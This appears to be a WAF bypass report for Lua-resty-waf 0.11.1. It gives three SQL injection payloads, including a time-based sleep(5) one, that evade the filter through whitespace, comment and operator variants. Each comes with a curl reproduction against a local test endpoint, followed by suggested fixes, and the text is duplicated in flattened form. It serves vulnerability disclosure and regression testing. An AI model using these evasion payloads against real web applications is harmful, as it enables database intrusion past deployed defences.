[Lua-resty-waf][GET(JSON)] SQLi bypass via comment/operator variants under json-carried predicates
Summary
- WAF:
Lua-resty-waf
- Request manner:
GET(JSON)
- Defect pattern: Comment/operator variants under JSON-carried predicates.
- Evaluation scope:
623 unique SQLi mutation attempts; 319 successful bypasses were observed in this manner.
- In our log format,
1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
0.11.1
- Notes: OpenResty
1.19.9.1-alpine.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- swap_keywords: replaces SQL operators with semantically equivalent forms such as
= -> LIKE, <> -> NOT LIKE, AND -> &&, or OR -> ||
- spaces_to_whitespaces_alternatives: replaces ordinary whitespace with tabs, newlines, form feeds, vertical tabs, or NBSP
- swap_int_repr: rewrites integer literals as equivalent hexadecimal values or
(SELECT n) expressions
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB> = horizontal tab (\t, U+0009)
<LF> = line feed (\n, U+000A)
<CR> = carriage return (\r, U+000D)
<FF> = form feed (\f, U+000C)
<VT> = vertical tab (\v, U+000B)
<NBSP> = non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0
- Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: comment variant, operator variant, JSON-carried separator.
- Original payload excerpt:
...1 where 7224 = 7224 and sleep ( 5 ) #
- Transformed payload excerpt, with invisible characters rendered explicitly:
1<FF>WhERe<FF>'C_^#' LIKE 'C_^#'<FF>anD<NBSP>sleep/**/(5/**/) #'<FF>7
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9005/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%221%5CfWhERe%5Cf%27C_%5E%23%27%20LIKE%20%27C_%5E%23%27%5CfanD%C2%A0sleep%2F%2A%2A%2F%285%2F%2A%2A%2F%29%20%23%27%5Cf7%20%22%7D'
Case 2
- Final decision change:
1 => 0
- Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: operator variant, JSON-carried separator.
- Original payload excerpt:
...1 ) ) ) and 4595 = 4595#
- Transformed payload excerpt, with invisible characters rendered explicitly:
(selECt 1)<NBSP><VT> ) <NBSP> ) <FF><LF> ) <LF> And<NBSP>0x11f3 <LF>LIKe <FF><TAB>4595#"
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9005/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22%28selECt%201%29%C2%A0%5Cu000b%20%29%20%C2%A0%20%29%20%5Cf%5Cn%20%29%20%5Cn%20And%C2%A00x11f3%20%5CnLIKe%20%5Cf%5Ct4595%23%5C%22%22%7D'
Case 3
- Final decision change:
1 => 0
- Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: operator variant, JSON-carried separator.
- Original payload excerpt:
...-9120' ) ) or 8571 = 8571--
- Transformed payload excerpt, with invisible characters rendered explicitly:
-9120'<TAB> ) <LF> ) <TAB> Or<TAB>(SeLeCT 8110) not<TAB>like 8111--
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9005/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22-9120%27%5Ct%20%29%20%5Cn%20%29%20%5Ct%20Or%5Ct%28SeLeCT%208110%29%20not%5Ctlike%208111--%22%7D'
Suggested Fixes
- Decode JSON-carried parameters before applying the same comment, whitespace, and operator canonicalization pipeline used for other request manners.
- Add combined tests for comment insertion followed by operator replacement such as
= -> LIKE or AND -> &&.
- Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
[Lua-resty-waf][GET(JSON)] SQLi bypass via comment/operator variants under json-carried predicates
Summary
Lua-resty-wafGET(JSON)623unique SQLi mutation attempts;319successful bypasses were observed in this manner.1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.Environment
0.11.11.19.9.1-alpine.Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
= -> LIKE,<> -> NOT LIKE,AND -> &&, orOR -> ||(SELECT n)expressionsInvisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)Representative Successful Examples
Case 1
1 => 0Minimal Reproduction
http://127.0.0.1:9005/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%221%5CfWhERe%5Cf%27C_%5E%23%27%20LIKE%20%27C_%5E%23%27%5CfanD%C2%A0sleep%2F%2A%2A%2F%285%2F%2A%2A%2F%29%20%23%27%5Cf7%20%22%7D'Case 2
1 => 0Minimal Reproduction
http://127.0.0.1:9005/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22%28selECt%201%29%C2%A0%5Cu000b%20%29%20%C2%A0%20%29%20%5Cf%5Cn%20%29%20%5Cn%20And%C2%A00x11f3%20%5CnLIKe%20%5Cf%5Ct4595%23%5C%22%22%7D'Case 3
1 => 0Minimal Reproduction
http://127.0.0.1:9005/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22-9120%27%5Ct%20%29%20%5Cn%20%29%20%5Ct%20Or%5Ct%28SeLeCT%208110%29%20not%5Ctlike%208111--%22%7D'Suggested Fixes
= -> LIKEorAND -> &&.Validation Plan